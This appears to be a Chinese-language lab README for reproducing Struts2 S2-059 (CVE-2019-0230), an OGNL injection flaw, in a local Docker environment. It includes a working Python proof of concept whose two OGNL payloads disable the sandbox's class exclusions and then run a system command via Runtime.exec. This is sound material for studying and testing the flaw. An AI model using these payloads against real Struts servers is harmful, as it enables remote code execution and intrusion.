Aaron
63285f61aa
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51 lines
1.8 KiB
Markdown
51 lines
1.8 KiB
Markdown
# Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)
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Apache Struts框架, 会对某些特定的标签的属性值，比如id属性进行二次解析，所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式，造成OGNL表达式注入。从而可能造成远程执行代码。
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影响版本: Struts 2.0.0 - Struts 2.5.20
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参考链接：
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- https://cwiki.apache.org/confluence/display/WW/S2-059
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- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
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## 漏洞环境
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启动 Struts 2.5.16环境:
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```
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docker compose up -d
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```
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启动环境之后访问`http://your-ip:8080/?id=1` 就可以看到测试界面
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## 漏洞复现
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访问 `http://your-ip:8080/?id=%25%7B233*233%7D`，可以发现233*233的结果被解析到了id属性中：
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《[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc，利用这个poc可以达到执行系统命令。
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通过如下Python脚本复现漏洞：
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```python
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import requests
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url = "http://127.0.0.1:8080"
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data1 = {
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"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
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}
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data2 = {
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"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
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}
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res1 = requests.post(url, data=data1)
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# print(res1.text)
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res2 = requests.post(url, data=data2)
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# print(res2.text)
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```
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执行poc之后，进入容器发现`touch /tmp/success`已成功执行。
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